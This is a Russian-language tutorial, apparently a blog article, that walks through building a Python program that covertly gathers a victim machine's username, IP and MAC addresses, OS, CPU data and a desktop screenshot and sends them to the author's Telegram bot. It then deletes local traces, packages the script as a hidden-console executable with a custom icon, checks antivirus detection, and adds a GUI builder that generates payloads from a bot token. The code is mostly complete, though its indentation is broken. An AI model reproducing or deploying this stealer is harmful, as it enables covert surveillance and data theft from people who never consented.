Сбор информации о системе с помощью Python

Сбор информации о системе с Python

Чтобы просто увидеть IP-адрес и другие сетевые настройки, вам нужно перейти в командную строку и запустить команду ipconfig / all. Ситуация — одна из самых распространенных для эникейщиков и удаленных шаманов, но, по крайней мере, ее можно быстро решить. Но если вам нужно собрать более серьезный набор информации о машине, с которой вы теперь будете работать, без автоматизации вам не обойтись. Этим и займемся.

Доступ к компьютерной информации без санкции является преступлением. Ни автор, ни редакция не несут ответственности за ваши действия.

Задачи

Да­вай сна­чала обри­суем, что мы вооб­ще пла­ниру­ем делать. Я пла­нирую собирать сле­дующую информа­цию:

  1. IP-адрес.
  2. MAC-адрес.
  3. Имя поль­зовате­ля.
  4. Тип опе­раци­онной сис­темы.
  5. Ско­рость работы сис­темы.
  6. Вре­мя.
  7. Скрин­шот.
  8. Ско­рость интернет‑соеди­нения.
  9. Мо­дель про­цес­сора.

И отправ­лять­ся это все будет пря­миком тебе в телегу через спе­циаль­ный бот.

Инструменты

Сначала рассмотрим, где мы будем писать код. Вы можете писать код в обычном блокноте Windows, но мы будем использовать специальную среду разработки Python — PyCharm. Установка и настройка просты как два рубля: скачайте установщик, запустите его — и нажмите «Далее» при появлении такой кнопки.
Еще нам нужен Python. Буду использовать версию 3.9.0 — уверен, что с ней все работает.

Основа программы

Для отправки данных я решил использовать робота Telegram. Вы можете создать его через BotFather, а затем сохранить токен своего создания. Вы не можете опубликовать его — любой, кто получит этот токен, сможет взять под контроль вашего бота.

Для под­клю­чения к Bot API «телеги» нуж­ны все­го две строч­ки:

import telebot

 
bot = telebot.TeleBot("token from BotFather") # Подключение бота

Что­бы оце­нить быс­тро­дей­ствие, мож­но написать еще пару строк. Весь даль­нейший код рас­положим меж­ду ними. Опи­сан­ное выше под­клю­чение бота уже впи­сано сюда

import telebot

from datetime import datetime
 
bot = telebot.TeleBot("token")
 
start = datetime.now() # Начало отсчета
 
# Сюда поместим нашу основу, поэтому оставляем место
 
ends = datetime.now() # Конец отсчета
workspeed = format(ends - start) # Вычисление времени

Те­перь перей­дем собс­твен­но к сбо­ру дан­ных.

Сбор данных

Я не буду дол­го ходить вок­руг да око­ло и сра­зу нач­ну раз­бирать сек­цию импорта.

import getpass

import os
import socket
from datetime import datetime
from uuid import getnode as get_mac
import pyautogui
from speedtest import Speedtest
import telebot
import psutil
import platform
from PIL import Image

Те­перь крат­ко рас­смот­рим, что дела­ет каж­дый модуль. Если какие‑то фун­кции тебе не нуж­ны, выб­роси стро­ку импорта модуля и код, который исполь­зует этот модуль. Все прос­то!

Итак, за работу с ОС и локаль­ными ресур­сами отве­чают эти четыре модуля:

  • getpass нужен для опре­деле­ния информа­ции о поль­зовате­ле;
  • os исполь­зуем для вза­имо­дей­ствия с фун­кци­ями ОС, вро­де вызова внеш­них исполня­емых фай­лов;
  • psutil работа­ет с некото­рыми низ­коуров­невыми сис­темны­ми фун­кци­ями;
  • platform пре­дос­тавит информа­цию об ОС.

Эти­ми модуля­ми реали­зова­ны сетевые вза­имо­дей­ствия:

  • socket — для работы с сокета­ми и получе­ния IP-адре­сов;
  • getnode получа­ет MAC-адрес машины;
  • speedtest замеря­ет харак­терис­тики интернет‑соеди­нения;
  • telebot сде­лает всю рутину по работе с Telegram-ботом.

Слу­жеб­ные при­моч­ки, которые труд­но отнести к катего­риям выше:

  • datetime поз­волит опре­делить вре­мя работы прог­раммы;
  • pyautogui работа­ет с GUI;
  • PIL.Image — для сня­тия скрин­шота.

Пос­ле это­го нам тре­бует­ся узнать основные ста­биль­ные харак­терис­тики сис­темы: IP- и MAC-адре­са, имя поль­зовате­ля и ОС:

name = getpass.getuser() # Имя пользователя

ip = socket.gethostbyname(socket.getfqdn()) # IP-адрес системы
mac = get_mac() # MAC адрес
ost = platform.uname() # Название операционной системы

Стро­ки кода снаб­жены ком­мента­риями и в пояс­нени­ях не нуж­дают­ся.

Скорость интернет-соединения

from speedtest import Speedtest # Импорт модуля. Рассматривался выше
 
inet = Speedtest()
download = float(str(inet.download())[0:2] + "." # Входящая скорость
+ str(round(inet.download(), 2))[1]) * 0.125
uploads = float(str(inet.upload())[0:2] + "." # Исходящая скорость
+ str(round(inet.download(), 2))[1]) * 0.125

Скорость измеряется служебной библиотекой Speedtest.net и поэтому дает результат в мегабитах, а не в мегабайтах. Чтобы исправить это, нужно разделить числовой результат на 8 или умножить на 0,125. Проделываем манипуляцию дважды — на скорость входа и выхода.

Важно понимать, что измерения не должны быть слишком точными, поскольку мы не можем легко проверить, какая часть канала используется другими программами или даже другими устройствами в сети. Если вы подключились к рабочей станции удаленно, ваше соединение тоже что-то потребляет. Исправление этого не было реализовано в программе из-за очень низкой точности и качества исполнения.

Часовой пояс и время

import psutil
 
zone = psutil.boot_time() # Узнает время, заданное на компьютере
time = datetime.fromtimestamp(zone) # Переводит данные в читаемый вид

Если вы настраиваете сервер или слишком удаленный компьютер, время может отличаться. Измеренные значения часов складываются со всеми остальными данными — лишней информации нет. Если вы не знали, неправильная установка времени и / или часового пояса может вызвать ошибки при подключении к сайтам с использованием HTTPS. Этот код упрощает обнаружение таких проблем.

Частота процессора

import psutil
 
cpu = psutil.cpu_freq()

Это может помочь определить причину, по которой ваш компьютер замедляется: если процессор постоянно развивается, но программы дают сбой, процессор устарел, а если он простаивает, виновата программа. И просто общее представление о железе.

Глубокий фингерпринтинг

В этой статье специально не рассказывается, как получить идентификатор жесткого диска или установленный идентификатор Windows GUID — мы не пишем руководство для рекламодателей, а практикуемся в программировании. Однако вы можете легко добавить коллекцию такой информации с помощью утилиты консоли wmic. Его вывод можно проанализировать с помощью скрипта Python, поэтому вам даже не нужно писать дополнительные привязки. На скриншоте показан пример получения серийного номера BIOS.

Скриншот рабочего стола

os.getcwd()
 
try: # Перехват ошибки в случае неверно указанного расположения
os.chdir(r"/temp/path")
except OSError:
@bot.message_handler(commands=['start'])
def start_message(message): # Служебная обвязка для бота
bot.send_message(message.chat.id, "[Error]: Location not found!")
bot.stop_polling()
 
bot.polling()
raise SystemExit
 
screen = pyautogui.screenshot("screenshot.jpg") # Снятие скриншота

Тут все тоже мак­сималь­но прос­то, а за собс­твен­но сня­тие скрин­шота отве­чает толь­ко пос­ледняя стро­ка кода. Осталь­ное мы исполь­зуем для кор­рек­тной обра­бот­ки вхо­дящей коман­ды бота.

Запись в файл

После того, как все будет сделано, мы можем перейти к окончательному сбору и отправке данных. Мы создаем готовый файл с нашими данными: если был использован максимальный сбор информации, а точнее весь приведенный выше код, мы будем использовать этот набор данных, в противном случае мы удалим данные, которые вам не нужны:

try: # Обвязка для обработки команд боту
os.chdir(r"/temp/path")
except OSError:
@bot.message_handler(commands=['start'])
def start_message(message):
bot.send_message(message.chat.id, "[Error]: Location not found!")
bot.stop_polling()
 
bot.polling()
raise SystemExit
 
file = open("info.txt", "w") # Открываем файл
 
file.write(f"[================================================]\n Operating System: {ost.system}\n Processor: {ost.processor}\n Username: {name}\n IP adress: {ip}\n MAC adress: {mac}\n Timezone: {time.year}/{time.month}/{time.day} {time.hour}:{time.minute}:{time.second}\n Work speed: {workspeed}\n Download: {download} MB/s\n Upload: {uploads} MB/s\n Max Frequency: {cpu.max:.2f} Mhz\n Min Frequency: {cpu.min:.2f} Mhz\n Current Frequency: {cpu.current:.2f} Mhz\n[================================================]\n") # Пишем
 
file.close() # Закрываем

Длинный, но удобный для чтения код. Первая часть используется для обработки команды / start, вторая — для записи всех данных в файл. Результат отображается в info.txt, но путь, конечно, можно изменить прямо в коде.
Все, что вам нужно сделать, это отправить результат в Telegram.

Отправка данных

Те­перь допол­ним код выше, что­бы он еще и фай­лы отправ­лял.

text = "Screenshot" # Требуется при создании скриншота (текст к фото)
 
@bot.message_handler(commands=['start']) # Выполняет действия при команде start
def start_message(message):
upfile = open("Путь до файла\info.txt", "rb") # Читает файлы
uphoto = open("Путь до файла\screenshot.jpg", "rb")
bot.send_photo(message.chat.id, uphoto, text) # Отправляет данные
bot.send_document(message.chat.id, upfile)
 
upfile.close() # Закрывает файлы (обязательно)
uphoto.close()
 
os.remove("info.txt") # Удаляет файлы, чтобы не оставлять следы
os.remove("screenshot.jpg")
 
bot.stop_polling() # Закрывает соединение после отправки
 
bot.polling() # Создает соединение с ботом

Сна­чала ука­зыва­ется под­пись к скрин­шоту, потом чита­ем и отправ­ляем фай­лы в виде фото и докумен­та, затем зачища­ем сле­ды и зак­рыва­ем соеди­нение с ботом. Ничего слож­ного!

Ес­тес­твен­но, если нам не нужен, к при­меру, скрин­шот, мы можем вырезать код его отправ­ки, получив такой вари­ант:

@bot.message_handler(commands=['start'])
def start_message(message):
upfile = open("Путь до файла\info.txt", "rb")
bot.send_document(message.chat.id, upfile)
upfile.close()
os.remove("info.txt")
bot.stop_polling()
 
bot.polling()

Что­бы бот гаран­тирован­но отправ­лял все сооб­щения тебе, ука­жи вмес­то message.chat.id ID чата с собой. Его мож­но узнать через бот GetMyID.

Также следует учесть одну деталь: перед запуском программы необходимо отправить своему боту команду / start, чтобы он понимал, кому должен отправлять данные.

Чтобы не перетаскивать Python и зависимости программы с собой на другой компьютер, давайте объединим все в один исполняемый файл. Это делается с помощью PyInstaller, который устанавливается с помощью простой команды pip install pyinstaller.

Пе­рехо­дим с помощью коман­дной стро­ки в пап­ку с нашей прог­раммой и собира­ем ее коман­дой

pyinstaller -i путь_до_иконки --onefile наш_файл.py

Аргумент —onefile заставит PyInstaller упаковать все в один файл. После -i вы должны указать путь к значку исполняемого файла, если хотите его использовать. Если он вам не нужен, просто удалите этот аргумент. Последнее — это путь к файлу с нашим кодом. Если вы не хотите, чтобы консоль появлялась при запуске (например, если владелец компьютера не знает, что вы собираетесь ему помочь: D), измените расширение входного файла с помощью кода на .pyw или укажите параметр -w.

Не забывайте проверять наличие модулей и их обновлений, чтобы избежать ошибок. Можно указать любой временный путь, но лично я указываю C: \ Temp. Конечно, если будет найдена ОС на базе Linux, то этот код придется исправить.
Вы также должны проверить, насколько сильно и как определяется наш файл. Чтобы не допустить вас к VirusTotal, я сделал это сам.

Результат сканирования на VirusTotal

Ре­зуль­тат ска­ниро­вания на VirusTotal

Пол­ный код про­екта я раз­местил на GitHub. Там есть и прог­рамма‑сбор­щик, о которой я рас­ска­жу ниже.

Сборщик с графическим интерфейсом

Для соз­дания GUI сбор­щика нам при­дет­ся работать с биб­лиоте­кой Tkinter, поэто­му преж­де все­го импорти­руем ее и нуж­ные эле­мен­ты:

# -*- coding: utf-8 -*- # Не забываем указывать конфигурацию
from tkinter import * # Сама библиотека для работы
from tkinter import messagebox as mb # Функция для создания окон с информацией

Пос­ле это­го нуж­но соз­дать окно, которое и будет осно­вой интерфей­са:

root = Tk()
root.title("Tkinter") # Название программы
root.geometry("300x400") # Разрешение окна программы

Нам нужен толь­ко ввод API-клю­ча для дос­тупа к боту. Дела­ется такой ввод кодом ниже:

text = Label(root, text="Telegram bot token") # Текст для обозначения поля
text.grid(padx=100, pady=0) # Расположение по x/y
 
API = Entry(root, width=20) # Создание поля ввода данных
API.grid(padx=100, pady=0)

Это соз­даст два гра­фичес­ких объ­екта — поле вво­да и под­пись к нему.

В этом интерфей­се не хва­тает кноп­ки для сбор­ки выход­ного фай­ла. Давай соз­дадим ее:

button = Button(root, text="Create", command=clicked, height=2, width=10)
button.grid(padx=100, pady=0)

Соз­даем фун­кцию, которая дол­жна находить­ся в фай­ле пос­ле импорта биб­лиотек. В ней мы дол­жны соз­давать файл и записы­вать в него код полез­ной наг­рузки.

def clicked():
system = open("source.py", "w")
system.write('''
# Сюда перемещаем полный код программы, которую мы писали раньше
''')
 
system.close()

Перед тем как встав­лять код, убе­дись, что там нет лиш­них про­белов, ина­че может воз­никнуть труд­но обна­ружи­мая ошиб­ка.

Но на этом наша фун­кция не закан­чива­ется, так как нуж­но дать поль­зовате­лю понять, готов ли файл. Дела­ем это с помощью MessageBox:

if API.get() or direct.get() == "":
mb.showwarning("WARNING", "There are empty fields")
else:
mb.showinfo("INFO", "The system.py file is ready!")

Те­перь оста­лось толь­ко запус­тить отри­сов­ку и обра­бот­ку сооб­щений стро­кой root.mainloop().

Оп­циональ­но мож­но соб­рать и сбо­роч­ный интерфейс. Для это­го исполь­зуем ста­рый доб­рый PyInstaller:

pyinstaller -F -w --onefile программа.py

И все готово! Теперь ты име­ешь пол­ноцен­ную прог­рамму для сбо­ра дан­ных о сис­теме и ее сбор­щик, который уско­рит про­цесс работы.

Каж­дый раз при­бегать к PyInstaller, что­бы соб­рать прог­рамму, не слиш­ком удоб­но. Мож­но вос­поль­зовать­ся модулем os и вызывать PyInstaller авто­мати­чес­ки.

import os
 
os.system("pyinstaller --onefile наш_файл.py") # Сборка выходного бинарника
 
os.rmdir("build")
os.rmdir("__pycache__")
 
os.remove("system.py")
os.remove("system.spec")

Ес­ли тебе понадо­билась икон­ка, мож­но добавить в коман­ду сбор­ки параметр -i file.ico, а для сбор­ки «невиди­мой» прог­раммы дописать -w — ров­но как при руч­ной сбор­ке!

Вывод

В статье мы от начала до конца рассмотрели, как получить важные данные из вашей или чужой системы — от IP до модели процессора. Конечно, суть в том, что вы хотя бы немного научились писать код самостоятельно — и все равно сможете где-нибудь применить. Если вас интересует программирование на Python — прочтите например эту статью о написании простого вируса, это будет отличным закреплением ваших навыков программирования. Удачи!

Click to rate this post!
[Total: 0 Average: 0]

Leave a reply:

Your email address will not be published.